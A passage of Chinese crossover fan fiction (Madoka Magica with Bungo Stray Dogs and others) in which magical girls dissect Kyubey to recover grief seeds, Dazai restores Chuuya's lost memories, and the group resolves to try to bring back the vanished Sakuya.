这个古怪的‘天平’就这样莫名其妙地出现，又要莫名其妙地离开。连五条悟之前布置下的结界都未能阻拦——仿佛祂本就超脱于此世之外。 松代忽然心头一跳。 某种直觉驱使着她快速取下身上的灵魂宝石，牢牢攥在手里看去。 ——深蓝色的灵魂宝石里面一丝杂质也无，从未像如今这样清澈透亮。 其他魔法少女也随着松代的举动，发现自己的灵魂宝石也发生了同样的情况。 此刻，悠衣突兀地向着‘天平’的方向呼喊道。 “等、等等！” 不知道是不是错觉，在声音落下的时候，‘天平’消失的速度仿佛停滞了一瞬，然而也仅仅是一瞬。 在这种不确定的时刻，贸然出声打破平衡并不是一件好事。 但是，总有某些时候，理性和考量会被其他情感压下去。 有一种如果不拦住祂就一定会后悔的感觉，促使着某个魔法少女忍不住接着发出了声音，虽然连她自己也没有想通自己为什么要这样做。 “朔夜——” 声音一出现，在场的人几乎都怔住了。 …… 空气里死一般的寂静。 ‘天平’早在那声“朔夜”之前，便已经消失不见了。 四周再无别的异动，一切仿佛都恢复了正常，就好像刚才所经历的全部只是一场梦般。 真正的朔夜现在到底在哪里呢？ 在周围人都神色各异、各自沉默的时候，五条悟率先开口问道： “你们刚才……看见了什么？” 五条悟的六眼扫过空无一物的天空，没有察觉到什么异样。 从刚才起，他就只看到‘朔夜’吞下了自己的灵魂宝石，随后白光乍现，对方便凭空失去了踪影。 看来……似乎只有魔法少女能看见刚才的异象。 所以，那会是某种特殊的魔女吗？ 禅院穗垂眸看着自己似乎从未这样澄澈过的灵魂宝石，心中产生了某种颇为不妙的预感。 不是担心未来可能会出现的更危险的敌人，也不是在忧虑丘比会不会又弄出了什么阴谋。 而是一种说不出来的…… 她忽然想起，曾经真人死前最后的反扑袭向自己和津美纪的时候，是朔夜挡在了她们面前。 白发少女的心脏处插入了骨刺，血液温热而粘稠，染红了发丝和衣物…… ——现在的感觉似乎和那时很相似。 到底发生了什么？ “解除结界吧。” 津岛忽然出声道。 五条悟有点诧异地瞥向她。 津岛又重复了一遍：“解除吧。” 即使她脖颈上戴着的灵魂宝石如今澄澈到不可思议，比以往那仿佛无论怎样都无法抹除掉全部杂质的样子好多了。 但津岛依旧显得很是疲惫，恹恹地说：“没有必要再维持下去了，这里已经没有需要对付的敌人了。” 五条悟就是由津岛请来帮忙的，也算是稍微了解津岛一点，闻言便沉默地解除掉了结界。 结界外如今密密麻麻躺着不少丘比的‘尸体’。 不久前，‘朔夜’把这些白色生物召集到了这里，似乎是为了给他们证明，这结界根本无法真正地困住它。 而在‘朔夜’莫名失踪之后，这些丘比就好像失去了控制一般，纷纷倒了下来，像极了堆积在一起的白色玩偶。 津岛独自走到了这些丘比面前。 她半蹲在地上，静静地看着它们，不知道在想些什么。 从今天所有魔法少女汇聚在这里、合作捕捉预言魔女开始，事情就如同脱缰的野马，朝着一个谁都无法预料的方向狂奔而去。 大部分人现在仍处于混乱之中，没能理清自己的思绪。 艾尔菲也是如此，琢磨不透现在具体是怎样一个情况。但她猜测，或许津岛知道的会更多一些。 她向着津岛那边走过去。 刚刚靠近对方，还没来得及开口询问，黑发鸢眼的少女就先出声了： “借把刀。” 艾尔菲迟疑地望着津岛，对方此刻仍旧静静地盯着面前的一大堆丘比，甚至没有回头来看自己一眼。 津岛借刀……是想要做什么？ 显然津岛完全没有要向她解释的意图。 情况真是越来越莫名其妙了，事情的所有发展都很奇怪，偏偏也没有任何人能够站出来解释一下现状。 大家几乎都诡异地沉默着，任由无形的压抑在空气中不断弥漫。 第269章 就在艾尔菲迟疑的过程中，悠衣走了过来，默默将自己惯用的一把短刀递给了津岛。 “谢了。” 津岛接过刀，随手从面前拿了一只丘比，把它摆弄着看了看。 其他看到她这一举动的人都有点毛骨悚然了。 尽管在场的人都或多或少对丘比有反感厌恶的情绪，但是不管怎么说，他们都没有分尸这一兴趣爱好。 津岛看着也不像是报复心这么重的人吧。 ……或许不像？ 没有理会其他人的想法，津岛找好了下刀的位置，就直接毫不犹豫地开始行动了。 她拿着刀，对准白色生物背部的位置，沿着上面红色圆圈的形状将刀刺下去，并用其在丘比身体的那一部分里搅了搅，发出令人牙酸的奇怪声响。 好在，丘比似乎身体里没什么内脏，血液也比较少。 鲜血顺着刀刃渗出，只是稍微染红了她的指尖，看上去倒也不算特别恐怖瘆人。 但可惜的是——津岛没有就此收手。 做完这些之后，她似乎并不满意。 津岛把这具丘比尸体丢到一边去，又拿起了另一只丘比来，似乎要重复刚才的步骤。 “……你在做什么？” 安凛实在是没忍住问出来了，她开始忧心津岛的精神是不是出了什么状况。 连朔夜都能被丘比占据身体，说不定津岛也可能…… 津岛头也不抬地回答，连动作都没有丝毫停顿。 “找东西。” 她的声音很平静，将刀从第二只丘比身上拔了出来，又刺入第三只丘比的背部……这样倒显得她更加可怖了。 从丘比的身体里到底能找出什么啊？ 安凛欲言又止，不知道该怎么与对方正常交谈。 其他魔法少女之中有人倒是神色微微一变，似乎想到了什么，刚准备开口…… “咔哒……” 刀刃突然碰到了硬物，一声轻响出现。 ——找到了。 津岛抿紧了唇，用刀尖轻轻一挑，将丘比身体里的东西取了出来——那是一颗悲叹之种。 “悲叹之种？” 安凛成为魔法少女的时间还不算长，这期间也没怎么和丘比接触，因此颇为诧异道：“为什么会在丘比身体里？” 禅院穗解释道：“悲叹之种净化过灵魂宝石之后，其中的污浊可能会积攒到再次孵化出魔女的程度……所以，之前丘比就说可以由它来保管这些悲叹之种。” 现在想想，真不该交由丘比来保管，对方完全可能会利用这些悲叹之种制造源源不断的魔女。 悠衣点点头，说道：“当时丘比背上的红色圆圈就像个盖子似的打开了，然后它就将悲叹之种放了进去。” 显然，这给悠衣留下了很深的印象。 安凛听着也有些难以想象，她下意识又看向地上的那堆丘比，目光放在了它们的背部。 而此刻的津岛在观察过手中的悲叹之种后，就将它随意地放在了一边，又拿起了另一只丘比来，动作愈发熟练地开始解剖。 虽然还是令人有点不忍直视，但是差不多知道了原因之后，其他人倒也很快适应了下来。 “这些悲叹之种确实得好好处理才行，免得在我们不知道的地方又孵化了。” 艾尔菲说着，便拿出了一个趁手的工具，上前去帮忙处理丘比们的尸体。 津岛看了她一眼，没说什么，只是又加快了速度。 很快，在场的其他人也逐渐加入进来。 她们早已杀过不少魔女和使魔，所以解剖丘比其实也不算什么特别困难的事。而且丘比的数量这么多，只靠一两个人处理的话，估计会花费很长的时间。 有事情可做的时候，氛围似乎都缓和了许多。 尽管一起解剖丘比这种事……看上去实在有些地狱。 松代不知道想了多久，终于开口问向旁边的津岛：“你知道朔——” 对方却突然毫不犹豫地打断了她。 “我不知道。” 松代侧头看向津岛。 黑发鸢眼的少女此刻叹了口气，声音缓和了些许：“刚才的情况你们也看到了，那个‘天平’的出现非常奇怪……按照丘比先前的表现来看，它如果有这样的后手，我们现在恐怕已经死了。” 而那个‘天平’不但没有伤害她们，甚至似乎还做了件好事，帮她们净化了一下灵魂宝石。 “所以，那大概与丘比无关，可能……是真正的朔夜所做的吧。” 津岛垂眸看着自己手上刚才沾染的丘比的血液。 “目前发生的这些事情，朔夜应该不会跟任何人提前说过。我又怎么可能知道那家伙的打算？” 松代闻言也沉默了。 她想起自己在预言魔女的幻境里看到的那些片段……难道那些画面已经成为现实了吗？ 要解决掉丘比那样的存在，代价很可能沉重到难以想象。 所以，伊江朔久真的已经…… 松代不愿再往下想。 在没有足够的线索和证据前，她仍抱着一丝微弱的希望，哪怕这希望渺茫得可笑。 没有人注意到—— 在解剖了很多丘比的尸体后，津岛动作突然一顿，目光停留在一颗刚被自己挖出来的悲叹之种上面。 其实，每颗悲叹之种细看都是有些差别的，它们上面会有各自所属的魔女相关的特征花纹。 她仔细观察了眼前这一颗悲叹之种的特征，似乎确定了什么，悄悄将其藏了起来。 随后，津岛神色如常地继续刚才的动作，仿佛什么都没发生过。 …… 自那天之后，丘比和朔夜就像是从世界上消失了一般。 没有预兆、没有告别，一切仿若一场无声的谢幕。 再也没有人见到过那个白发少女的身影，也没有新的魔法少女签订契约的消息。魔女出现的频率越来越少，街道上很少再有突然出现的结界，曾经频繁战斗的记忆慢慢在脑海中褪色。 生活也开始回归平静，安稳得……甚至让人难以适应。 第270章 魔法少女们后来也在一直调查‘天平’的情况。 不过，因为只有魔法少女才能够看见祂，所以调查进行得十分缓慢。 花费了很长一段时间，她们才确定了一些信息。 ——‘天平’偏爱人群聚集的场所，尤其是在集体情绪有着剧烈波动的时候，祂更容易出现。并且人越多、情感波动越大，‘天平’出现的时间也就越久、具现化的程度越高。 除此之外，当魔法少女的灵魂宝石污秽积攒到一定程度后，祂也会短暂地出现，并使得宝石重新变得清澈干净。 这些本来都应该是值得庆祝的事情。 但是…… 她们总会在某些时候，忽然想起那个失踪的白发身影。 …… 太宰治独自坐在高楼的天台边缘处，双腿悬空，沙色的风衣时不时随风扬起，看起来颇为危险。 他仰头看着天空，后颈抵着冰凉的栏杆。 今天看不见月亮，云层压得很低，连星光都透不下来。整座城市都被笼罩在一种沉闷的黑暗里。 “真无聊啊。” 他的声音轻飘飘地散在风里。 怎么会有人叫“朔夜”这个名字呢……没有月亮的夜晚，连自杀的浪漫都少了几分。 太宰治似乎有些困倦地闭上了眼睛。 黑暗本该因此变得更加纯粹，但他的脑海里却反倒不合时宜地涌现了许多画面——都是曾经遗忘了、现在又重新被找回来的过往。 那天，津岛解剖了很多具丘比的尸体，才从中找到了曾经梦境魔女留下的这颗悲叹之种。 当初是因为进入了梦境魔女的结界，太宰治才得以确定自己曾经遗忘了非常重要的过往。而朔夜显然也是利用了梦境魔女，才能够让织田、安吾等人恢复了以前的记忆。 ——所以，那个魔女绝对是很特殊的。 于是当时，在‘朔夜’和‘天平’消失之后，缺少线索的太宰治只能将希望寄托于此，抱着万一的心态去找寻这颗悲叹之种。 幸运的是，他找到了它。 并且，或许是朔夜之前改造并利用了它的缘故，太宰治在尝试研究它的时候没有太过耗费心思。 通过几次注入魔法的试验，他便借此找回了自己过往的记忆…… 夜风渐渐变得刺骨。 太宰治睁开眼，不想再回忆那些早已物是人非的过往。 尽管自从想起来之后，他每天闭上眼睛，几乎都能在脑海里重现许多过去的画面。 他从风衣口袋摸出那颗梦境魔女的悲叹之种，指尖摩挲着上面不规则的纹路，声音极轻地呢喃着。 “真是过分……明明答应过我的吧。” 正是因为想起了曾经被抹去的记忆，太宰治获知了许多新的信息，将其全部串联起来，再结合如今的现实，他便大概能猜到伊江朔久可能做了什么。 所以也知道了…… 那个奇怪的‘天平’应该就是伊江朔久。 ——也就是说，伊江朔久再也不会回来了。 在所有人都不知道的时候，那个人悄无声息做了那么多事情，却什么也不说，最后甚至连一句告别也没有就离开了。 明明当初他给对方说“等你想要结束掉这一切的时候，也叫上我吧”的时候，对方显然是表现出了默认的意思，还说什么“那在这之前，你就先活着吧”这样的话，来阻碍他自杀这一兴趣爱好。 结果，伊江朔久倒是自己先一步离开了。 也不知道那个人是从什么时候起，变得这么擅长说谎…… “喂！你这个满口谎言的混蛋！” 就在这时，有人咬牙切齿的声音突然从身后响起：“原来你竟然藏在这里，躲了我这么久，这下终于被我逮住了吧。” 听见这非常熟悉的声音，太宰治身体微微一僵。 啧，真倒霉。 都跑到这种地方来吹风了，还能遇见黑漆漆的小矮人，自己的运气怎么会跟朔久一样差。 他第一反应就是往天台下方望了望，琢磨了下自己的逃跑路线。 而看见对面的黑发青年随意地坐在天台边缘、仿佛随时都会坠入下方城市的灯火之中，中原中也忍不住皱起了眉头。 “你别想着就这么跳下去一了百了。自杀之前，先把你之前答应我的事兑现了！” 最终，太宰治还是遗憾地收回目光，放弃了跳下去的打算。 虽然身为魔法少女，他有不少方法可以保障自己跳楼之后安然无恙，但是他可完全不想在中也这家伙面前使用魔法少女的力量。 所以，这下麻烦了…… 太宰治从天台边缘站起来，那浑然不在意是否一个不小心就会来个无绳蹦极的样子，使得中原中也的脸色越来越差。 偏偏太宰治还在装傻，站起来后，靠着栏杆朝他挥了挥手：“哟，中也，好久不见。你怎么在这里呀？” “呵，好久不见？” 中原中也的声音压着怒意，指节捏得咔咔作响。 亏太宰治还好意思这么说——自从东京那次事件解决之后，中原中也找了对方那么多次。但很多次跟着消息赶到地方的时候，都听闻太宰治前不久刚刚离开。 显然是太宰治一直故意躲着他。 要不是今天在路边偶然抬头，看到了高楼上某个类似于人影的黑点，指不定对方还会继续躲多久。 “按照交易——” 中原中也直接切入主题：“上次事件里我帮了那么多忙，你现在也该告诉我记忆出现问题的真相了。” 暗红色的异能光芒在周身浮动，重力使的压迫感毫不掩饰。 “要是敢骗我的话……” 中原中也威胁的话没有说完，但很显然，他这次绝对不可能让太宰治轻而易举地糊弄过去了。【你现在阅读的是 】 270-276 第271章 太宰治眨了眨眼，露出一个无辜的笑容。 “别那么凶嘛，我也没说不告诉你吧。” 中原中也完全不信他的话，冷笑着反问：“究竟是哪个混蛋没有信守诺言，躲了我这么久？” 太宰治默了默。 报应居然来的这么快——他不过是才抱怨了一下没有信守诺言的伊江朔久而已，转眼就被自己的债主找上门来。 算了…… 夜风卷起他额前的碎发，太宰治不觉握紧了悲叹之种，脸上的笑意渐渐褪去，露出难以掩藏的颇多复杂情绪。 “我可以让你想起那些被遗忘的过往……” 他轻声说：“不过，你真的确定——要想起那些记忆吗？” 中原中也被对方口中所谓的“真相”钓了那么久，好不容易逮住对方，却又见对方磨磨蹭蹭的、似乎不想遵守诺言的样子。 他险些想用武力逼迫太宰治赶紧说了，但是……出于对过去搭档的了解，中原中也迟疑了一下。 “不然呢？你又在故弄什么玄虚？” 太宰治抬眸，直视着中原中也：“中也你现在的生活不是已经很好了吗？有朋友、有家人，工作也还算勉强顺心，何必纠结于过去的事情呢？” 想起过去的记忆，就意味着想起曾经死过一次的旗会的朋友们，也会想起魏尔伦做过杀了他朋友的事。 虽然也不全是糟糕的回忆…… 比如，对方作为魔法少女仲野的时候，倒也收获了一些新的同伴。 但现在，一切早就和过去不一样了。 这个时候想起那些记忆，只会带来不必要的烦恼，几乎没有任何益处。 ——毕竟现实早就被更改了，曾经的同伴榎原和砂糖并不记得过去的事情，而朔夜又…… “想起过去的回忆，对你而言没有什么好处，大概还会给现在的你带来很多烦恼。所以，我劝你还是放弃探究继续那些事情比较好。” 太宰治说的是真话。 中原中也能够判断出这一点来。 他下意识按了按帽子，突然嗤笑一声：“想不起来，就可以当作一切都没存在过吗？太宰，你居然也会这么天真啊。” “你才是一如既往地固执。”太宰治面无表情地反驳：“总喜欢自己给自己找麻烦。” “明明你这家伙才是麻烦制造机吧……” 中原中也说着，突然停顿了一下，凭着某种敏锐的直觉反问道：“如果将你换做是我，你会选择放弃曾被自己遗忘的那些记忆吗？” 太宰治怔住了。 事实很明显——如果他能够选择放弃的话，也就不会特意去找梦境魔女留下的悲叹之种了。 “而且，那些记忆会不会给我造成烦恼，这是我自己的事情。” 中原中也上前一步，钴蓝的眼眸在夜色中却亮得惊人：“所以少自作主张了，赶紧履行你的承诺。” 闻言，太宰治脸上露出了颇为无奈的表情：“果然，这么笨蛋的回答，还真是‘中也’的风格啊。” 中原中也差点是真没忍住要发作了，但太宰治却又一次精准地卡在这条线之前，时机恰当地朝他的方向伸出了手。 ——掌心里躺着一颗造型独特的种子模样的东西。 “这是……” 中原中也的话戛然而止。 因为他看到太宰治身上忽然泛起微光，光点涌入眼前的这颗奇怪种子里，似乎在向其中输入什么能量。 可是，太宰不是有着无效化异能吗？怎么会…… “别动。” 太宰治这么说着，将那颗开始发光的种子往中原中也的方向靠近。 中原中也皱了皱眉，忍住了想要避开的本能。 忽然，中原中也眼前的世界像是被按下了暂停键，无数熟悉又陌生的画面与声音争先恐后地涌入他的脑海。 他看到了血，到处都是血。 旗会的那些朋友全部死在自己面前，他们的尸体都是残缺的，死相极为惨烈。 旗会……死了？ 怎么可能？他前几天才跟他们见过面。这绝对不可能会是真的……但一切都那么清晰，他甚至能够体验到自己当时的感受。 没来得及消化这段记忆，更多的画面便接踵而至。 从未见过的白色奇怪生物出现在自己面前，对方没有张口，他却能听到它在说什么‘契约’、‘魔法少女’之类的话。 而令人震惊的是，记忆里的自己竟然真的在谨慎考虑对方的提议。 画面一转，自己便站在镜子面前，看到了镜中有着红色长发、穿着裙装的蓝瞳少女，特殊的宝石在项带上熠熠生辉。 开什么玩笑…… 中原中也脑海里充满了疑虑，却没时间去思考。记忆的碎片变得越来越密集，越来越清晰。 他看到旗会的死而复生，看到自己与魔女使魔战斗的场景，看到遇见其他的魔法少女，看到自己与她们放松地交谈，看到她们一起并肩作战，看到魔法少女的真相逐渐暴露出来，看到某个麻烦的家伙变成魔女，看到最后自己将希望交付给白发少女…… 中原中也神情反复变了几变，呼吸愈发沉重，心脏也抽痛起来。 一切就像是在做一场虚诞的梦。 ……这就是被他遗忘的记忆？ 刚才想起的这些回忆与现有的认知形成了强烈的反差，不停地在脑海里翻腾，让中原中也一时分不清哪个才是真实的世界。 与魔法少女相关的这些记忆是假的吧，那些经历太过离奇古怪了。不管换作是谁，都会觉得难以相信。 但是…… 为什么每个细节都显得那么真实？ 为什么自己的情绪会被那些记忆影响到这种程度？ 第272章 在中原中也还深陷回忆之中的时候，就听见太宰治说： “都想起来了吧。现在感觉怎么样，会不会觉得……还是把一切都忘掉比较好？” 对方的声音轻飘飘的，仿佛只是在问今天的天气如何。 而中原中也一听这些话就顿时觉得火大。 刚才因那些记忆而痛苦的、压抑的情绪，忍不住在此刻倾泻而出。 “你这胆小鬼还真是一点都没有变啊，光想着逃避有什么用。凭什么擅作主张，一直瞒着我这些事情？！” 太宰治无辜地摆了摆手：“我要声明一点，我也是最近才找回那些记忆的。” 中原中也没被他糊弄过去，拳头不觉收紧：“你早就在背后调查我的过去了，别以为我忘了！” “那个时候只是刚得知了些线索，还不太能确定。” 太宰治顿了顿，说道：“而且，我当初其实也说过了‘其实，中也你曾经也是魔法少女之中的一员哦’这种话，但你那个时候完全不相信呢。” 没有记忆的情况下，听到这种话怎么可能相信啊。 中原中也眉头跳了跳，忍不住翻起了耿耿于怀的旧账： “你知道当初自己随随便便变成魔女，给我们带来了多大的困扰吗？明明刚和丘比决裂，正处于关键时期，魔女出现的次数越来越频繁，结果你却在那时候直接成了最大的麻烦……” 太宰治干笑两声，没有说话。 看起来似乎反应很正常。 但突然间，中原中也有一种隐隐约约的熟悉感。 好像，从见面时起，太宰治就一直笼罩着一种难以言喻的疲惫感……就像是当初对方在魔女化的前夕所表现出来的一样。 中原中也有点心有余悸，扫视了对方周身一圈——还好，看起来应该是没有要立刻变成魔女的样子吧。 “这些年……到底发生了什么？” 他回忆起来的都是六年前的过往了，近几年他没怎么关注魔法少女的事情，只是偶尔从别人口中听说一些情况。 什么魔法少女禅院穗、松代、艾尔菲之类的，除了津岛和朔夜以外，中原中也根本不认识。 太宰治声音微沉，闷闷地道：“那说起来可就太长了。” 中原中也一字一句地道：“我不着急，你慢慢说。” 他想起不久前，偶然听到属下交谈的时候聊到……朔夜好像已经失踪好一段时间了？ 当时不知道为什么就有些在意，不过因为不了解情况也没多想，但是现在却愈发觉得不安了。 必须尽快弄清现状才行。 太宰治沉默了一会儿。 中原中也将拳头捏得咯吱作响，在即将忍不住要动用武力逼迫对方时，太宰治又一次提前开口了。 “……好吧。” 太宰治用简明扼要的语言解释了近几年的事情，描述非常客观，也就是将其他魔法少女都知道的也转告给了中原中也而已，并没有加上自己的任何想法。 但是，中原中也好歹有了六年前的记忆，知道更多的线索。 在听完太宰治的描述之后，他便有了些猜想——“那个‘天平’是朔夜的能力吧，她真的成功改变了这一切，而所要付出的代价就是……” ……死亡吗？ 他顿住了，太宰治也一直没有接话。 中原中也突然又问道：“你把这些情况告诉榎原和砂糖了吗？” 太宰治摇了摇头。 “你根本就没打算告诉她们吧，你怎么总是这样擅作……” “但这其实……是朔夜所希望的。” 太宰治打断了中原中也的话：“从刚见面的时候起，她就故意装作一副拒人于千里之外的样子，这些年从来没向任何人说起过以前的事情，也从不为自己辩解，甚至到最后都没有任何告别……” “虽然她这是为了自己的计划能够顺利进行，但肯定也有一部分重要的原因是——不想打搅其他人的生活，不希望其他人为此陷入困扰。” 夜风突然变得很静。 “我能够理解朔夜的想法。” 太宰治定定地看着对方，轻声道：“既然这是她所期望的，那么就实现她的期望。” 看着中原中也似乎压抑着什么、并不想就此放弃的样子。太宰治声音尽管依旧很轻，语言却忽然变得有些尖锐： “而你……现在连朔夜的真实姓名都还不知道吧？” 中原中也的拳头猛地攥紧。 “就这样吧。”太宰治微微侧过头，目光回到这个看不到月亮的黑漆漆的夜幕，像是在说给自己听：“一切都结束了。” “……还没有结束。” 中原中也固执地出声。 太宰治叹了口气，像是大人在看待还没能认清现实的孩子。 “……朔夜还没有死吧，你能百分百确定她死了吗？事情真的完全没有回旋的余地了吗？” 中原中也一把抓住太宰治的衣领，想要打破对方伪装的假面：“明明什么方法都还没有尝试过，就要从一开始便选择放弃吗？” 太宰治任由他抓着衣领，表情没多少变化：“希望几乎不可能存在。” “我只知道——” 中原中也声音沉了下去，却带着不容置疑的坚定：“如果当初我们不抱着渺茫的希望去努力，而是直接放弃堕落成魔女，那才是真的完了。” 太宰治心忽地颤了颤。 他想起，自己当年从魔女化的状态中奇迹般恢复过来，看到朔夜的第一眼就意识到了她正打算做什么。 虽然他对未来并不抱有期望，但却还是鬼使神差地，将自己拥有的一切交付给对方放上天平…… 而朔夜终究也回应了这份希望。 “不管你是否放弃，我都会去做我该做的事情。” 中原中也突然转身，大步离开这里，风衣下摆在夜色中划出一道利落的弧线。 “我会把具体情况告诉榎原和砂糖，还有别的魔法少女。然后，和不想选择放弃的人一起去尽可能地尝试完所有办法。” 他头也不回，声音越来越远，每一个字却都异常清晰：“她们有权知道真相，就像……你还是把真相告诉了我一样。” 太宰治微微一怔，听懂了中原中也的话外之音。 确实…… 如果他内心真的彻底选择了放弃，又何必违背朔夜的期望，让中原中也恢复六年前的记忆？ 编织谎言对太宰治来说轻而易举。 就算说真话也可以轻描淡写地带过，没必要让中原中也重拾那份沉重的记忆。 太宰治低头看向自己的掌心。 梦境魔女的那颗悲叹之种静静地躺在那里，表面还泛着些许微光没有散去，像是某种无声的回应。 第273章 萩原研二扶着额头，指节微微发白。 他正在努力适应着汹涌而来的记忆片段——那些被抹去的契约、战斗、同伴与濒死的画面，此刻重新又回到了他脑海里，并伴随着诸多复杂的浓烈情绪。 他记起在炸.弹即将爆炸时自己匆忙答应了丘比的契约，记起如何与同为魔法少女的同伴相识，记起魔法少女悲剧般的真相暴露，记起自己当初濒死前所看到的场面…… 同时，以前被萩原研二忽略的许多细节也不断浮上心头。 自己曾经的声音仿佛回响在耳边——“我们之前是不是见过？” “没有。” 他居然也能够想起……当初面对这个问题时，伊江朔久不太对劲的反应以及压抑下去的细微神情变化，不像只是回答一个无需思索的简单问题。 但是，为什么现在才察觉到呢？ “hagi，你还好吗？” 松田阵平等了又等，看着萩原研二表情反复变化了好几番，然后就是一阵恍惚的样子，终于没忍住出声询问。 “……我没事。” 萩原研二摆了摆手，露出一个苦笑来：“只是需要好好消化一下。” 说完后，他转过视线看向津岛。 目前这个安全屋内，除了朔夜之外的所有魔法少女都汇聚在这里，还有中原中也、五条悟和萩原研二这三个已经不再是魔法少女的人。 萩原研二上一次和这些人聚在这里，还是在过年期间。 他们说说笑笑、氛围融洽，在本应该与家人团聚的日子，却和彼此甚至连真实姓名都不知道的人待在一起…… 这甚至超过了同伴的范畴，就好像成为了家人一般。 而现在，再次汇聚在这里，彼此之间的关系更进了许多，但屋子里面的氛围却远不如当初。 萩原研二叹了口气，道：“津岛、仲野，好久不见。” 津岛点了点头，却沉默着将视线移向了另一边，似乎不想与萩原对上目光。 “……仲野？” 安凛语气迟疑。 她是知道中原中也这个人的，毕竟上次东京事件的时候，这个黑手党干部还来帮了不少忙。 但萩原是怎么和中原中也认识的，还……好久不见？ 到底是怎么回事？ 中原中也沉默了两秒，应下了仲野这个称呼：“嗯，好久不见。” 接着，萩原研二又看向五条悟。 ——白发蓝眼的高大青年此刻和往常不一样，情绪肉眼可见的不太好。 也正常，五条悟刚刚也接受了那些记忆片段的冲刷，此刻表现出什么样的反应都是正常的。 萩原研二抿了抿唇，试探性地关心道：“砂糖，你也都想起来了吧？” 五条悟当初签约的时间比萩原早两年，如今恢复的记忆也比萩原多，消化起来更难许多。 但他也很快便将不太好的情绪掩盖下去，转而突然露出了一个笑容：“当然啦，全都记起来了。” ……砂、砂糖？ 听到仲野这个称呼的时候，在场的其他人倒还是能够接受，但是要将砂糖这样的名字放在五条悟身上时，就显得尤为别扭违和了。 艾尔菲忍不住礼貌发问：“请问，你们现在是不是应该给我们解释一下？” 从一开始，他们就完全搞不清楚状况。 津岛把他们这些人叫到这里来，说是有什么非常非常重要的事情。但他们来了之后，津岛却根本没有什么解释。 只是在中原中也的督促下，津岛简单地问了萩原研二和五条悟一句：“你们想要恢复一些比较糟糕痛苦的记忆吗？” 那两人若有所思、就像提前猜到了一些线索似的，直接给予了确定的答复，津岛居然看上去还莫名有些失望。 然后，不知道津岛具体是怎么做到的，总之那两人突然间情绪变化了好几番，好像真的找回了被遗忘的记忆般。 “说起来可能有些复杂，我尽量简单地解释一下吧……” 虽然中原中也是这样说的，但他这次超常地发挥了口才，条理清晰地描述了过去他们几人之间发生的一系列事情，重点说明了关于丘比和朔夜的情报。 场上的氛围愈发变得微妙且复杂。 “所以，那个‘天平’真的就是朔夜？” 伏黑惠声音很轻。 但在非常安静的此刻，显得格外清晰与刺耳。 在场的人都比较聪明，之前只是缺少了太多的情报，如今得以将这些信息汇总起来，他们自然也猜到了不少事情真相。 ……比如，朔夜大概都做了些什么。 松田阵平微微垂头，将那天捕捉预言魔女时自己所看到的未来说了出来——未来的画面里始终没有朔夜的存在，种种细节都昭示着对方已经彻底地离开了。 虎杖悠仁不愿接受地问：“预言中的未来真的是无法改变的吗？” 伏黑惠很想宽慰几句，但她比其他人更早接触预言魔女，也更早认识到它那骇人的准确性。 朔夜谋划了这么久，以自己的生命为代价才换来了眼前的一切。 他们究竟怎么做才能改写朔夜计划的最终结局？ 其实，如今的结局看上去确实已经足够美好了——就像是童话故事一般，他们实现了自己的愿望，收获了重要的同伴。本该支付的代价也不再需要他们担心。 如果贪心地妄想得到更多，反而可能会失去现有的一切，将朔夜辛苦完成的计划破坏。 将一切终止于此，或许便是他们的最优解了。 但是…… 又怎么能够在知晓了一切之后，装作若无其事，心安理得地过着今后的安稳生活呢？ 第274章 周围一时又陷入沉寂之中。 “所以，我就说没必要让他们知道这些吧。” 见状，津岛幽幽地开口，声音里能听出明显的消沉意味：“反正一切都没办法改变，现在只是给他们徒增烦恼而已。” 中原中也没好气地道：“你这家伙既然答应了我，就不要总是想着打退堂鼓好不好。” 津岛撇了撇嘴，没说什么。 “就算……什么都做不到，我也很庆幸能够找回这些重要的回忆。” 萩原研二看向津岛，道：“谢谢你。” 津岛继续保持沉默，脸上的表情却有了微妙的变化。 “我也是这么想的。” 五条悟说道：“而且现在就说放弃还太早了点，预言并不代表着最终的结果。” 伏黑惠闻言，目光立即转向五条悟。 在过去的预言几乎都被验证了的如今，只说这样的话没有什么信服力，但是……对方是五条悟，是在关键时刻总能令人信赖的人。 五条悟顿了顿，声音难得颇为认真：“刚才松代所说的预言，只包含了未来一两年的画面吧。更远的未来对于我们来说是空白的，那就表示我们还有机会去改变朔夜的结局，没必要这么悲观。” 太宰治接话：“即使是非常渺茫的机会？” “就算是万中无一的希望，也一定要去尝试。” 萩原研二这么说着，语气愈发坚定：“朔夜都能够成功改变我们这么多人的未来，没道理我们就只能眼睁睁地看着她走向这样的结局。” 听着这有些熟悉的话语，太宰治又想起了上次中原中也对他说的话，微微垂下眼睫。 “你们……”黑发少女小声得如同自言自语般感慨道：“……还真是总能说出这么漂亮的话呢。” 中原中也没听清：“你说什么？” 太宰治提高了声音：“我说，确实可能还有一线几乎不存在的希望。” 因着这些年对津岛的熟悉，虎杖悠仁眼睛亮了亮，连忙追问道：“津岛，你能够让朔夜回来吗？” 其他人的视线也纷纷转移到太宰治身上。 “我可没有那么强的能力。” 太宰治摆摆手。 虎杖悠仁有点失望。 转念一想，其实也是——要是这种事情真的那么容易做到，朔夜也就不必费尽心思地将自己化作‘天平’的一份子，忍受那永恒的痛苦与孤独了。 “但是……” 忽然，太宰治又转过了话头：“能让任何渺小的希望化作现实，这种奇迹般的能力是存在的，而且我们都知道。” 松田阵平想着先前中原中也的叙述，喃喃道：“……天平交换吗？” 虎杖悠仁脱口而出：“是说只要我们付出足够的代价，就有机会让朔夜回来吗？” “应该没那么简单。” 降谷零即使也这么希望，但还是泼了盆冷水上去。 太宰治点了点头。 “朔夜的能力是否还能够继续使用是一个关键问题。就算天平交换的能力还存在，是否能被我们这些人使用也是一个问题。” 虎杖悠仁还没仔细想一想这两个问题，就又听到了太宰治接着抛出来的众多其他困难之处。 “还有，你们也知道连结界都困不住‘天平’，我们该怎么才能利用它？况且要付出怎样的代价才能成功？我们是否拥有足够的价值可以换回朔夜？如果朔夜真的回来了，那么‘天平’会不会因其被剥离而出现问题？那么到时候，朔夜付出了这么多才达成的一切会不会因此功亏一篑？朔夜会希望看到那样的情况吗……” 唯一的希望所存在的道路摆在眼前，但终点尚未确定是不是死路，就已经可以看到路上的重重险境。 太宰治说了很长一段话才停了下来。 能够看出，太宰治也一定深思熟虑地想过该怎么解救朔夜，如今才能不假思索地说出这么多困难来。 太宰治非常无奈地总结：“……所以，我才说希望几乎不存在吧。” 然而，松田阵平却突然笑了，声音微哑却坚定地道：“至少，我们看到了希望。” 即使面对这样布满荆棘的道路，松田阵平也还是决心将油门踩到了底。 萩原研二也将太宰治刚抛出的那些麻烦先置于脑后，附和着自家幼驯染的话：“是啊，希望和奇迹总归还是存在的——魔法少女不正是它们的代名词吗？” “说得真不错。” 